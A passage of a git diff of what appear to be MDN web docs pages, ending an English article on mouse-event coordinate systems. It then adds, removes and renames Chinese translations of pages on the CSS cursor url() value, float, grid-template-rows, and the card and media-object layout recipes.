Finally, we come to the "screen" model. It's probably fairly obvious what this is: it's the coordinate system where the origin is located at the top-left corner of the user's entire screen space. This means that the position of a given point within a document will change if the containing window is moved, for example, or if the user's screen geometry changes (by changing display resolution or by adding or removing monitors to their system).

- -

The {{domxref("MouseEvent.screenX")}} and {{domxref("MouseEvent.screenY")}} properties give the coordinates of a mouse event's position relative to the screen's origin.

- -

Example

- -

Let's take a look at an example. This simple example creates a set of nested boxes. Whenever the mouse enters, moves around inside, or exits the inner box, the corresponding event is handled by updating a set of informational messages within the box, listing out the current mouse coordinates in each of the four available coordinate systems.

- -

JavaScript

- -

Let's look at the script in two sections. First, the code that logs the coordinates to the screen. This code will be called by the event handler for the various mouse events we watch.

- -

Displaying the coordinates

- -

As we'll see in the HTML, the inner box (the one we're watching for events on) contains several paragraphs; one for each of the four coordinate systems we'll be reporting on.

- -
let inner = document.querySelector(".inner");
-let log = document.querySelector(".log");
-
-function setCoords(e, type) {
-  let idX = type + "X";
-  let idY = type + "Y";
-
-  document.getElementById(idX).innerText = e[idX];
-  document.getElementById(idY).innerText = e[idY];
-}
-
- -

A reference to the {{HTMLElement("div")}} inside the inner box which contains the paragraphs that will show the coordinate information is fetched into log.

- -

The setCoords() function is designed to accept as input a {{domxref("MouseEvent")}} and the name of the origin to use when obtaining the coordinates. The implementation is then quite simple. The variables idX and idY are set to strings with the names of the properties corresponding to the coordinates in the given coordinate system. For example, if the value of type is "page", then idX is "pageX" and idY is "pageY".

- -

Handling the mouse events

- -

setCoords() is called by the event handler for the various mouse events, named update(); this is shown below.

- -
function update(e) {
-  setCoords(e, "offset");
-  setCoords(e, "client");
-  setCoords(e, "page");
-  setCoords(e, "screen");
-}
-
-inner.addEventListener("mouseenter", update, false);
-inner.addEventListener("mousemove", update, false);
-inner.addEventListener("mouseleave", update, false);
- -

The event handler is in the update() method. It simply calls setCoords() once for each coordinate system, passing in the event that occurred.

- -

Our main code sets up the event handlers on the inner box by calling {{domxref("EventTarget.addEventListener", "addEventListener()")}} for each of the types {{event("mouseenter")}}, {{event("mousemove")}}, and {{event("mouseleave")}}.

- -

HTML

- -

The HTML for our example is below. Note that within the <div> with the ID "log", we have a paragraph for each coordinate system, with {{domxref("span")}} used for each of the elements to receive and display the coordinates in each model.

- -
<div class="outer">
-  <div class="inner">
-    <div class="log">
-      <p>
-        Offset-relative: <span id="offsetX">0</span>,
-        <span id="offsetY">0</span>
-      </p>
-      <p>
-        Client-relative: <span id="clientX">0</span>,
-        <span id="clientY">0</span>
-      </p>
-      <p>
-        Page-relative: <span id="pageX">0</span>,
-        <span id="pageY">0</span>
-      </p>
-      <p>
-        Screen-relative: <span id="screenX">0</span>,
-        <span id="screenY">0</span>
-      </p>
-    </div>
-  </div>
-</div>
- -
-

CSS

-
- -

The CSS is pretty much just for appearances here. The class "outer" is used for the containing box, which is intentionally too wide to show in the MDN window, to allow you to scroll it horizontally. The "inner" box is the one that we track events in and in which we show the mouse coordinates.

- -
.outer {
-  width: 1000px;
-  height: 200px;
-  background-color: red;
-}
-
-.inner {
-  position: relative;
-  width: 500px;
-  height: 150px;
-  top: 25px;
-  left: 100px;
-  background-color: blue;
-  color: white;
-  cursor: crosshair;
-  user-select: none;
-  -moz-user-select: none;
-  -ms-user-select: none;
-  -webkit-user-select: none;
-}
-
-.log {
-  position: relative;
-  width: 100%;
-  text-align: center;
-}
-
- -

Result

- -

Here you can see the results in action. As you mouse in and around the blue box, watch the values of the mouse's X and Y coordinates change in the various coordinate systems in which you can obtain the values. Note also the effect of scrolling the example horizontally upon the values returned and how the value of clientX doesn't change.

- -

{{EmbedLiveSample("Example", 600, 250)}}

- -

See also

- -
    -
  • Using CSS transforms: how to alter a coordinate system
  • -
  • Coordinates of a mouse event: -
      -
    • {{domxref("MouseEvent.offsetX")}} and {{domxref("MouseEvent.offsetY")}}
    • -
    • {{domxref("MouseEvent.clientX")}} and {{domxref("MouseEvent.clientY")}}
    • -
    • {{domxref("MouseEvent.pageX")}} and {{domxref("MouseEvent.pageY")}}
    • -
    • {{domxref("MouseEvent.screenX")}} and {{domxref("MouseEvent.screenY")}}
    • -
    -
  • -
diff --git a/files/zh-cn/web/css/cursor/url/index.html b/files/zh-cn/web/css/cursor/url/index.html deleted file mode 100644 index fcde4cecb2..0000000000 --- a/files/zh-cn/web/css/cursor/url/index.html +++ /dev/null @@ -1,125 +0,0 @@ ---- -title: Using URL values for the cursor property -slug: Web/CSS/cursor/url -tags: - - Cursor - - URL -translation_of: Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property ---- -

Gecko 1.8 (Firefox 1.5,SeaMonkey 1.0) 支持CSS的URL值 {{cssxref("cursor")}} 属性在Windows和Linux。Mac支持是在Gecko 2(Firefox 4)中添加的。这允许将任意图像指定为鼠标光标 - 可以使用Gecko支持的任何图像格式。

- -

语法

- -

此属性的基本(CSS 2.1)语法是:

- -
cursor: [<url>,]* keyword;
-
- -

这意味着可以指定零个或多个URL(逗号分隔),后面必须跟随CSS规范中定义的一个关键字,例如 auto或 pointer。

- -

例如,将允许以下值:

- -
cursor: url(foo.cur), url(http://www.example.com/bar.gif), auto;
-
- -

首先尝试加载 foo.cur。如果文件不存在或者其它无效原因,bar.gif被尝试加载,如果bar.gif不能被加载,那么使用auto

- -

在Gecko 1.8beta3 (Deer Park Alpha 2)中加入了对CSS3 语法的指针属性的支持。

- -
cursor:  [<uri> [<x> <y>]?,]* keyword
- -

因此,它能在Firefox 1.5中工作。它允许定义指针的热点,加强对指针图橡的边界的控制。如果一个也没有设置,指针的热点会从文件本身读取(适合CUR和XBM文件类型)。否则,设置成图像的左上角。一个CSS3语法的例子:

- -
.foo  {
-    cursor:  auto;
-    cursor:  url(cursor1.png) 4 12, auto;
-}
-
-.bar  {
-    cursor:  pointer;
-    cursor:  url(cursor2.png) 2 2, pointer;
-}
-
-/*
-fallsback onto 'auto' and 'pointer' in IE,
-but must be set separately
-*/
- -

第一个数字是X坐标,第二个数字是Y坐标。该示例将热点设置为从左上角(0,0)到(4,12)处的像素。

- -

局限性

- -

可以使用任何被Gecko所支持的图像格式。这意味着你可以使用BMP,JPG,CUR,GIF等等。可是,ANI不被支持。还有即使你定义一个GIF动画,指针也不会变成GIF动画。这个局限性可能在以后的版本去掉。

- -

Gecko它本身不能限制被替换的指针大小。无论如何,你应该自己限制图像的最大值在32x32,以便兼容各种平台的操作系统。尤其是大于这个尺寸的指针不能在Windows 9x (95,98,ME)下工作。

- -

透明效果的指针在Windows XP以前都不被支持。这是操作系统的一个局限性。透明效果可以在所有平台下工作。

- -

只 有Windows,OS/2和Linux(使用Gtk+ 2.4及更高版本)的Mozilla版本支持光标属性的URL参数。其它版本可能在以后的版本中加入支持(Mac OS: {{ Bug(286304) }}, QNX Neutrino: {{ Bug(286307) }}, XLib: {{ Bug(286309) }}, Qt: {{ Bug(286310) }}, BeOS: {{ Bug(298184) }}, Gtk 2.0/2.2: {{ Bug(308536) }})。

- -

关于其它浏览器的兼容性

- -

Microsoft Internet Explorer 6.0还支持cursor属性的URI值。然而:

- -
    -
  • IE只支持CUR和ANI格式。
  • -
  • IE不支持带有x和y坐标的CSS 3语法。将忽略光标图像和属性的其余部分。
  • -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
BrowserLowest versionformats (e.g.)x-y-coordinates
Internet Explorer6.0.cur | .ani---
Firefox (Gecko), Windows and Linux1.5 (1.8).cur | .png | .gif | .jpg1.5 (1.8)
Firefox (Gecko)4.0 (2.0).cur | .png | .gif | .jpg | .svg(Gecko 2.0)
Opera---------
Safari (Webkit)3.0 (522-523).cur | .png | .gif | .jpg3.0 (522-523)
Since OS X 10.5 supports Safari (Mac) .curfiles
- -

它也使用不严格的光标属性语法。例如像这样的参数:

- -
cursor: url(foo.cur);
-
- -

或者:

- -
cursor: url(foo.cur), pointer, url(bar.cur), auto;
-
- -

可以在MSIE上工作,但是不能在Gecko上面工作。因为Gecko的兼容性与CSS的规范一致,URIs表始终放置在前面,在最后放置正确的关键字。

- -

 

diff --git a/files/zh-cn/web/css/float/index.html b/files/zh-cn/web/css/float/index.html new file mode 100644 index 0000000000..30f9928c0b --- /dev/null +++ b/files/zh-cn/web/css/float/index.html @@ -0,0 +1,247 @@ +--- +title: float +slug: CSS/float +tags: + - CSS + - CSS Positioning + - CSS Property + - CSS 定位 + - CSS 属性 + - 参考 +translation_of: Web/CSS/float +--- +
{{CSSRef}}
+ +

float CSS属性指定一个元素应沿其容器的左侧或右侧放置,允许文本和内联元素环绕它。该元素从网页的正常流动(文档流)中移除,尽管仍然保持部分的流动性(与绝对定位相反)。

+ +
{{EmbedInteractiveExample("pages/css/float.html")}}
+ + + +

浮动元素float 的计算值非 none 的元素。

+ +

由于float意味着使用块布局,它在某些情况下修改{{cssxref("display")}} 值的计算值:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
指定值计算值
inlineblock
inline-blockblock
inline-tabletable
table-rowblock
table-row-groupblock
table-columnblock
table-column-groupblock
table-cellblock
table-captionblock
table-header-groupblock
table-footer-groupblock
flexflex, 但是float对这样的元素不起作用
inline-flexinline-flex, 但是float对这样的元素不起作用
otherunchanged
+ +
备注:如果要在 JavaScript 中把float属性当作{{domxref("element.style")}}对象的一个成员来操作,那么在Firefox 34 和更老的版本中,你必须拼写成cssFloat。另外还要注意到在 Internet Explorer 8 和更老的IE当中,要使用styleFloat属性。这是DOM驼峰命名和CSS所用的连字符分隔命名法对应关系中的一个特例(这是因为在 JavaScript 中"float"是一个保留字,因为同样的原因,"class"被改成了"className" 、"for"被改成了"htmlFor")。
+ +

语法

+ +
/* Keyword values */
+float: left;
+float: right;
+float: none;
+float: inline-start;
+float: inline-end;
+
+/* Global values */
+float: inherit;
+float: initial;
+float: unset;
+ +

float 属性的值被指定为单一的关键字,值从下面的值列表中选择。

+ +

+ +
+
left
+
表明元素必须浮动在其所在的块容器左侧的关键字。
+
right
+
表明元素必须浮动在其所在的块容器右侧的关键字。
+
none
+
表明元素不进行浮动的关键字。
+
inline-start
+
关键字,表明元素必须浮动在其所在块容器的开始一侧,在ltr脚本中是左侧,在rtl脚本中是右侧。
+
inline-end
+
关键字,表明元素必须浮动在其所在块容器的结束一侧,在ltr脚本中是右侧,在rtl脚本中是左侧。
+
+ +

形式化语法

+ +
{{csssyntax("float")}}
+ +

例子

+ +

浮动元素是如何定位的

+ +

正如我们前面提到的那样,当一个元素浮动之后,它会被移出正常的文档流,然后向左或者向右平移,一直平移直到碰到了所处的容器的边框,或者碰到另外一个浮动的元素

+ +

在下面的图片中,有三个红色的正方形。其中有两个向左浮动,一个向右浮动。要注意到第二个向左浮动的正方形被放在第一个向左浮动的正方形的右边。如果还有更多的正方形这样浮动,它们会继续向右堆放,直到填满容器一整行,之后换行至下一行。

+ + + +

HTML

+ +
<section>
+  <div class="left">1</div>
+  <div class="left">2</div>
+  <div class="right">3</div>
+  <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+     Morbi tristique sapien ac erat tincidunt, sit amet dignissim
+     lectus vulputate. Donec id iaculis velit. Aliquam vel
+     malesuada erat. Praesent non magna ac massa aliquet tincidunt
+     vel in massa. Phasellus feugiat est vel leo finibus congue.</p>
+</section>
+
+ +

CSS

+ +
section {
+  border: 1px solid blue;
+}
+
+div {
+  margin: 5px;
+  width: 50px;
+  height: 50px;
+}
+
+.left {
+  float: left;
+  background: pink;
+}
+
+.right {
+  float: right;
+  background: cyan;
+}
+ +

结果

+ +

{{EmbedLiveSample('How_floated_elements_are_positioned','400','180')}}

+ +

清除浮动

+ +

有时,你可能想要强制元素移至任何浮动元素下方。比如说,你可能希望某个段落与浮动元素保持相邻的位置,但又希望这个段落从头开始强制独占一行。请参考 {{cssxref("clear")}} 以获取例子等。

+ +
+
+

译者注:以下直至“规范”部分,皆为英文原文中已剔除的过时内容。

+
+
+ +

在前面的例子当中,浮动的元素的高度比它们所在的容器元素(是块元素)的高度小。然而如果块元素内的文本太短,不足以把块元素的大小撑到高度大于所有浮动元素的高度,我们可能会看到意想不到的效果。例如,如果上面图片中的文字只有"Lorem ipsum dolor sit amet,",并且接下来是另外一个和"Floats Example"这个标题一样风格的标题元素,那么第二个标题元素会出现在红色的正方形之间。然而在大多数这种情况下,我们希望这个标题元素是靠左对齐的。为了实现这个效果,我们需要清除浮动。

+ +

这个例子中,最简单的清除浮动方式就是给我们想要确保左对齐的新标题元素添加{{Cssxref("clear")}}属性:

+ +
h2.secondHeading { clear: both; }
+
+ +

然而这个方法只是在同一块级格式化上下文(block formatting context)中没有其他元素的时候才是有效的。如果我们的 H2 有兄弟元素是向左浮动和向右浮动的边栏,那么使用clear 会导致这个标题元素出现在边栏的下方,这显然不是我们期望的结果。

+ +

如果不能使用清除浮动,另一种做法是浮动容器的限制块级格式化上下文。再次列举上面的例子,有三个红色的正方形和一个P元素。我们可以设置P元素的{{Cssxref("overflow")}}属性值变成hidden 或者auto,因为这样可以让容器元素伸展到能够包含红色正方形,而不是让他们超出块元素的底部。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态说明
{{SpecName('CSS Logical Properties', '#float-clear', 'float and clear')}}{{Spec2('CSS Logical Properties')}}添加了 inline-start 和 inline-end
{{SpecName('CSS3 Box', '#float', 'float')}}{{Spec2('CSS3 Box')}}大量新属性值,但目前还没完全定义清楚。任何与新特性无关的浏览器差异应该是无意中造成的,需要报告。
{{SpecName('CSS2.1', 'visuren.html#float-position', 'float')}}{{Spec2('CSS2.1')}}没有改变。
{{SpecName('CSS1', '#float', 'float')}}{{Spec2('CSS1')}}初始定义。
+ +

{{cssinfo}}

+ +

浏览器兼容性

+ + + +

{{Compat("css.properties.float")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/css/grid-template-rows/index.html b/files/zh-cn/web/css/grid-template-rows/index.html new file mode 100644 index 0000000000..0dcd6b29d5 --- /dev/null +++ b/files/zh-cn/web/css/grid-template-rows/index.html @@ -0,0 +1,209 @@ +--- +title: grid-template-rows +slug: Web/CSS/网格-模板-列 +tags: + - grid-template-rows +translation_of: Web/CSS/grid-template-rows +--- +

grid-template-rows 该属性是基于 {{glossary("grid rows", "网格行")}} 的维度,去定义网格线的名称和网格轨道的尺寸大小。

+ +
{{EmbedInteractiveExample("pages/css/grid-template-rows.html")}}
+ + + +

语法

+ +
/* Keyword value */
+grid-template-rows: none;
+
+/* <track-list> values */
+grid-template-rows: 100px 1fr;
+grid-template-rows: [linename] 100px;
+grid-template-rows: [linename1] 100px [linename2 linename3];
+grid-template-rows: minmax(100px, 1fr);
+grid-template-rows: fit-content(40%);
+grid-template-rows: repeat(3, 200px);
+
+/* <auto-track-list> values */
+grid-template-rows: 200px repeat(auto-fill, 100px) 300px;
+grid-template-rows: minmax(100px, max-content)
+                       repeat(auto-fill, 200px) 20%;
+grid-template-rows: [linename1] 100px [linename2]
+                       repeat(auto-fit, [linename3 linename4] 300px)
+                       100px;
+grid-template-rows: [linename1 linename2] 100px
+                       repeat(auto-fit, [linename1] 300px) [linename3];
+
+/* Global values */
+grid-template-rows: inherit;
+grid-template-rows: initial;
+grid-template-rows: unset;
+
+ +

该属性可能包含如下值:

+ +
    +
  • 关键字 none
  • +
  • 或者 <track-list> 值
  • +
  • 或者 <auto-track-list> 值。
  • +
+ +

+ +
+
none
+
这个关键字表示不明确的网格。所有的行和其大小都将由{{cssxref("grid-auto-rows")}} 属性隐式的指定。
+
{{cssxref("<length>")}}
+
非负值的长度大小。
+
{{cssxref("<percentage>")}}
+
非负值且相对于网格容器的 {{cssxref("percentage", "<百分比>")}}。 如果网格容器的尺寸大小依赖网格轨道的大小(比如 inline-grid ),则百分比值将被视为auto
+
为了遵守网格的百分比,网格轨道本身定义的大小,将自动被调整为相对网格容器大小,并且是以最小量将网格轨道调整到最终的大小。
+
{{cssxref("<flex_value>","<flex>")}}
+
非负值,用单位 fr 来定义网格轨道大小的弹性系数。 每个定义了 <flex> 的网格轨道会按比例分配剩余的可用空间。当外层用一个 minmax() 表示时,它将是一个自动最小值(即 minmax(auto, <flex>) ) 。
+
max-content
+
是一个用来表示以网格项的最大的内容来占据网格轨道的关键字。
+
min-content
+
是一个用来表示以网格项的最大的最小内容来占据网格轨道的关键字。
+
{{cssxref("minmax", "minmax(min, max)")}}
+
是一个来定义大小范围的属性,大于等于min值,并且小于等于max值。如果max值小于min值,则该值会被视为min值。最大值可以设置为网格轨道系数值<flex> ,但最小值则不行。 
+
+

Note:  该规范在将来可能会允许设置最小值为 flex ,也会调整网格轨道算法(track sizing algorithm) 计算出正确的大小。

+
+
auto
+
如果该网格轨道为最大时,该属性等同于 <max-content> ,为最小时,则等同于 <min-content> 。
+
+

Note: 网格轨道大小为 auto (且只有为 auto ) 时,才可以被属性{{cssxref("align-content")}} 和 {{cssxref("justify-content")}} 拉伸 。

+
+
{{cssxref("fit-content", "fit-content( [ <length> | <percentage> ] )")}}
+
相当于公式 min(max-content, max(auto, argument)),类似于auto 的计算(即 minmax(auto, max-content)),除了网格轨道大小值是确定下来的,否则该值都大于 auto 的最小值。
+
{{cssxref("repeat", "repeat( [ <positive-integer> | auto-fill | auto-fit ] , <track-list> )")}}
+
表示网格轨道的重复部分,以一种更简洁的方式去表示大量而且重复行的表达式。
+
+ +

正式语法

+ +
{{csssyntax}}
+ +

示例

+ +

CSS

+ +
#grid {
+  display: grid;
+  height: 100px;
+  grid-template-rows: 30px 1fr;
+}
+
+#areaA {
+  background-color: lime;
+}
+
+#areaB {
+  background-color: yellow;
+}
+ +

HTML

+ +
<div id="grid">
+  <div id="areaA">A</div>
+  <div id="areaB">B</div>
+</div>
+ +

结果

+ +

{{EmbedLiveSample("示例", "40px", "100px")}}

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName("CSS3 Grid", "#propdef-grid-template-rows", "grid-template-rows")}}{{Spec2("CSS3 Grid")}}初步定义
+ +

{{cssinfo}}

+ +

浏览器兼容性

+ +

 

+ + + +

{{Compat("css.properties.grid-template-rows")}}

+ +

 

+ +

参见

+ + + + diff --git a/files/zh-cn/web/css/layout_cookbook/card/index.html b/files/zh-cn/web/css/layout_cookbook/card/index.html new file mode 100644 index 0000000000..260ef3ba54 --- /dev/null +++ b/files/zh-cn/web/css/layout_cookbook/card/index.html @@ -0,0 +1,82 @@ +--- +title: 卡片 +slug: Web/CSS/Layout_cookbook/卡片 +translation_of: Web/CSS/Layout_cookbook/Card +--- +

{{CSSRef}}

+ +

这个模式是带有页脚选项的卡片组件列表。

+ +

+ +

Three card components in a row

+ +

要求

+ +

卡片组件可以包含各种内容,包括一个头部(heading),图片,内容和一个页脚(footer)

+ +

每个卡片组件应有相同的高度,并且页脚应该在卡片组件的底部

+ +

当添加到卡片组中时,卡片上下应对齐。

+ +

使用指南

+ +

{{EmbedGHLiveSample("css-examples/css-cookbook/card.html", '100%', 1720)}}

+ + + +

所选方案

+ +

卡片布局使用 CSS 网格布局(CSS Grid Layout) despite being a single dimensional layout, as it enables the use of content sizing for the grid tracks. When setting up the single column grid I use the following:

+ +
.card {
+  display: grid;
+  grid-template-rows: max-content 200px 1fr;
+}
+ +

The heading track is set to {{cssxref("max-content")}}, which prevents it from stretching. I have decided that I want my image to live within a track that is 200 pixels tall. I then set the next track — which is where the content lives — to 1fr. This means it will take up any additional space. 

+ +

If the track does have a footer it will be auto-sized, as rows created in the implicit grid are auto-sized by default. Therefore this will fit the content added to it.

+ +
+

Note: The various elements in separate cards do not align with each other, as each card is an independent grid. The proposed subgrid feature of Grid Level 2 would give a solution to this issue.

+
+ +

Useful fallbacks or alternative methods

+ +

Flexbox could be used to lay out the card, in which case you should make the content area grow, and other items not grow. This would be a reasonable way to lay out the card, although I have a slight preference for being able to control the tracks from the container rather than needing to add rules to the items.

+ +

For the overall layout you could use flexbox, however this will result in cards stretching over the final flex row where there are fewer than can fit in the rows above. Alternatively you could use CSS multi-col — this would cause the cards to lay out down the columns, which may or may not be a problem.

+ +

See the columns recipe for demonstrations of each of these layout methods.

+ +

Accessibility concerns

+ +

Depending on the content of your card there may be things you could, or should do to enhance accessibility. See Inclusive Components: Card by Heydon Pickering, for a very detailed explanation of these issues.

+ +

Browser compatibility

+ +

The various layout methods have different browser support. See the charts below for details on basic support for the properties used.

+ + + +

grid-template-columns

+ +

{{Compat("css.properties.grid-template-columns")}}

+ +

grid-template-rows

+ +

{{Compat("css.properties.grid-template-rows")}}

+ + + +

See also

+ +
    +
  • {{Cssxref("grid-template-columns")}}, {{Cssxref("grid-template-rows")}}, {{Cssxref("grid-gap")}}
  • +
  • Inclusive Components: Card
  • +
diff --git a/files/zh-cn/web/css/layout_cookbook/media_objects/index.html b/files/zh-cn/web/css/layout_cookbook/media_objects/index.html new file mode 100644 index 0000000000..382e4bacce --- /dev/null +++ b/files/zh-cn/web/css/layout_cookbook/media_objects/index.html @@ -0,0 +1,86 @@ +--- +title: '指南: 媒体对象' +slug: Web/CSS/Layout_cookbook/媒体对象 +tags: + - 媒体对象 + - 布局 + - 指南 + - 浮动 + - 网格 +translation_of: Web/CSS/Layout_cookbook/Media_objects +--- +
{{CSSRef}}
+ +

媒体对象是web上随处可见的一种模式。它由Nicole Sullivan命名,表示一种一侧是图片并且另一侧是描述性的文字的两列盒子,比如一篇facebook帖子或者tweet。

+ +

+ +

要求

+ +

媒体对象模式需要以下特性的一些或者全部:

+ +
    +
  • 在移动设备上被堆叠,在桌面设备上显示两列
  • +
  • 图片可以在左边,也可以在右边
  • +
  • 图片可以是小图,也可以是大图
  • +
  • 媒体对象可以被嵌套
  • +
  • 无论哪边更高,媒体对象应该清除内容
  • +
+ +

使用指南

+ +

{{EmbedGHLiveSample("css-examples/css-cookbook/media-objects.html", '100%', 1200)}}

+ + + +

做出选择

+ +

我选择使用Grid Layout实现媒体对象,因为它可以让我在我需要的时候控制两个维度的布局。这意味着当我们有一个页脚(footer)的时候,上面的内容很短,页脚可以被推到媒体对象的底部。

+ +

另一个使用网格布局(Grid Layout)的原因是为了可以使用{{cssxref("fit-content")}}图片的追踪(track)大小。通过使用 最大尺寸是200像素的fit-content ,当我们有一个小图片比如icon的时候,track仅仅得到和image的尺寸一样的大小(max-content 大小)。如果图片更大,track在200像素的时候停止增长,因为图片应用了{{cssxref("max-width ")}}为100%。同样,它会缩小以适应列内部的尺寸。

+ +

通过使用{{cssxref("grid-template-areas")}} 来实现布局,我可以看到CSS中的这个模式。我定义我的网格,其并且设置最大宽度(max-width)为500像素,因此在较小的设备上媒体对象会被堆叠起来。

+ +

模式的一个选项是翻转它将图片切换到另一边——这通过添加media-flip 类来实现,它定义了一个翻转的网格模板所以布局被镜像了。

+ +

当我们在另一个媒体对象之中嵌套一个媒体对象,我么你需要将它放到常规布局的第二个track中,当翻转时放到第一个track中

+ +

回退方案

+ +

对于这种模式有很多种可能的回退方案,取决于你希望支持的浏览器。一个比较号的方案是将图片浮动到左边,并且为盒子添加clearfix来确保它包含浮动元素。

+ +

{{EmbedGHLiveSample("css-examples/css-cookbook/media-objects-fallback.html", '100%', 1200)}}

+ + + +

一旦浮动元素成为网格项,浮动将不再被应用到网格上,因此你不需要做任何特殊的事情来清楚浮动。

+ +

你需要做的事情是移除应用到这些items的任何边界,以及我们在一个网格上下文中不需要的任何宽度(在网格中我们有{{cssxref("gap")}}属性来控制它,并且track控制了尺寸)。

+ +

MDN上相关的资源

+ + + +

浏览器兼容性

+ +

.各种各样的布局方法有不同的浏览器支持。查看下面的图表得到属性的基本支持的细节。

+ +

这个页面中的兼容性表格由结构数据生成。如果你想对数据做贡献,请查看 https://github.com/mdn/browser-compat-data 并且给我们发送一个pull request。

+ +

grid-template-areas

+ +

{{Compat("css.properties.grid-template-areas")}}

+ +

float

+ +

{{Compat("css.properties.float")}}

diff --git "a/files/zh-cn/web/css/layout_cookbook/\345\215\241\347\211\207/index.html" "b/files/zh-cn/web/css/layout_cookbook/\345\215\241\347\211\207/index.html" deleted file mode 100644 index 260ef3ba54..0000000000 --- "a/files/zh-cn/web/css/layout_cookbook/\345\215\241\347\211\207/index.html" +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: 卡片 -slug: Web/CSS/Layout_cookbook/卡片 -translation_of: Web/CSS/Layout_cookbook/Card ---- -

{{CSSRef}}

- -

这个模式是带有页脚选项的卡片组件列表。

- -

- -

Three card components in a row

- -

要求

- -

卡片组件可以包含各种内容,包括一个头部(heading),图片,内容和一个页脚(footer)

- -

每个卡片组件应有相同的高度,并且页脚应该在卡片组件的底部

- -

当添加到卡片组中时,卡片上下应对齐。

- -

使用指南

- -

{{EmbedGHLiveSample("css-examples/css-cookbook/card.html", '100%', 1720)}}

- - - -

所选方案

- -

卡片布局使用 CSS 网格布局(CSS Grid Layout) despite being a single dimensional layout, as it enables the use of content sizing for the grid tracks. When setting up the single column grid I use the following:

- -
.card {
-  display: grid;
-  grid-template-rows: max-content 200px 1fr;
-}
- -

The heading track is set to {{cssxref("max-content")}}, which prevents it from stretching. I have decided that I want my image to live within a track that is 200 pixels tall. I then set the next track — which is where the content lives — to 1fr. This means it will take up any additional space. 

- -

If the track does have a footer it will be auto-sized, as rows created in the implicit grid are auto-sized by default. Therefore this will fit the content added to it.

- -
-

Note: The various elements in separate cards do not align with each other, as each card is an independent grid. The proposed subgrid feature of Grid Level 2 would give a solution to this issue.

-
- -

Useful fallbacks or alternative methods

- -

Flexbox could be used to lay out the card, in which case you should make the content area grow, and other items not grow. This would be a reasonable way to lay out the card, although I have a slight preference for being able to control the tracks from the container rather than needing to add rules to the items.

- -

For the overall layout you could use flexbox, however this will result in cards stretching over the final flex row where there are fewer than can fit in the rows above. Alternatively you could use CSS multi-col — this would cause the cards to lay out down the columns, which may or may not be a problem.

- -

See the columns recipe for demonstrations of each of these layout methods.

- -

Accessibility concerns

- -

Depending on the content of your card there may be things you could, or should do to enhance accessibility. See Inclusive Components: Card by Heydon Pickering, for a very detailed explanation of these issues.

- -

Browser compatibility

- -

The various layout methods have different browser support. See the charts below for details on basic support for the properties used.

- - - -

grid-template-columns

- -

{{Compat("css.properties.grid-template-columns")}}

- -

grid-template-rows

- -

{{Compat("css.properties.grid-template-rows")}}

- - - -

See also

- -
    -
  • {{Cssxref("grid-template-columns")}}, {{Cssxref("grid-template-rows")}}, {{Cssxref("grid-gap")}}
  • -
  • Inclusive Components: Card
  • -
diff --git "a/files/zh-cn/web/css/layout_cookbook/\345\252\222\344\275\223\345\257\271\350\261\241/index.html" "b/files/zh-cn/web/css/layout_cookbook/\345\252\222\344\275\223\345\257\271\350\261\241/index.html" deleted file mode 100644 index 382e4bacce..0000000000 --- "a/files/zh-cn/web/css/layout_cookbook/\345\252\222\344\275\223\345\257\271\350\261\241/index.html" +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: '指南: 媒体对象' -slug: Web/CSS/Layout_cookbook/媒体对象 -tags: - - 媒体对象 - - 布局 - - 指南 - - 浮动 - - 网格 -translation_of: Web/CSS/Layout_cookbook/Media_objects ---- -
{{CSSRef}}
- -

媒体对象是web上随处可见的一种模式。它由Nicole Sullivan命名,表示一种一侧是图片并且另一侧是描述性的文字的两列盒子,比如一篇facebook帖子或者tweet。

- -

- -

要求

- -

媒体对象模式需要以下特性的一些或者全部:

- -
    -
  • 在移动设备上被堆叠,在桌面设备上显示两列
  • -
  • 图片可以在左边,也可以在右边
  • -
  • 图片可以是小图,也可以是大图
  • -
  • 媒体对象可以被嵌套
  • -
  • 无论哪边更高,媒体对象应该清除内容
  • -
- -

使用指南

- -

{{EmbedGHLiveSample("css-examples/css-cookbook/media-objects.html", '100%', 1200)}}

- - - -

做出选择

- -

我选择使用Grid Layout实现媒体对象,因为它可以让我在我需要的时候控制两个维度的布局。这意味着当我们有一个页脚(footer)的时候,上面的内容很短,页脚可以被推到媒体对象的底部。

- -

另一个使用网格布局(Grid Layout)的原因是为了可以使用{{cssxref("fit-content")}}图片的追踪(track)大小。通过使用 最大尺寸是200像素的fit-content ,当我们有一个小图片比如icon的时候,track仅仅得到和image的尺寸一样的大小(max-content 大小)。如果图片更大,track在200像素的时候停止增长,因为图片应用了{{cssxref("max-width ")}}为100%。同样,它会缩小以适应列内部的尺寸。

- -

通过使用{{cssxref("grid-template-areas")}} 来实现布局,我可以看到CSS中的这个模式。我定义我的网格,其并且设置最大宽度(max-width)为500像素,因此在较小的设备上媒体对象会被堆叠起来。

- -

模式的一个选项是翻转它将图片切换到另一边——这通过添加media-flip 类来实现,它定义了一个翻转的网格模板所以布局被镜像了。

- -

当我们在另一个媒体对象之中嵌套一个媒体对象,我么你需要将它放到常规布局的第二个track中,当翻转时放到第一个track中

- -

回退方案

- -

对于这种模式有很多种可能的回退方案,取决于你希望支持的浏览器。一个比较号的方案是将图片浮动到左边,并且为盒子添加clearfix来确保它包含浮动元素。

- -

{{EmbedGHLiveSample("css-examples/css-cookbook/media-objects-fallback.html", '100%', 1200)}}

- - - -

一旦浮动元素成为网格项,浮动将不再被应用到网格上,因此你不需要做任何特殊的事情来清楚浮动。

- -

你需要做的事情是移除应用到这些items的任何边界,以及我们在一个网格上下文中不需要的任何宽度(在网格中我们有{{cssxref("gap")}}属性来控制它,并且track控制了尺寸)。

- -

MDN上相关的资源

- - - -

浏览器兼容性

- -

.各种各样的布局方法有不同的浏览器支持。查看下面的图表得到属性的基本支持的细节。

- -

这个页面中的兼容性表格由结构数据生成。如果你想对数据做贡献,请查看 https://github.com/mdn/browser-compat-data 并且给我们发送一个pull request。

- -

grid-template-areas

- -

{{Compat("css.properties.grid-template-areas")}}

- -

float

- -

{{Compat("css.properties.float")}}

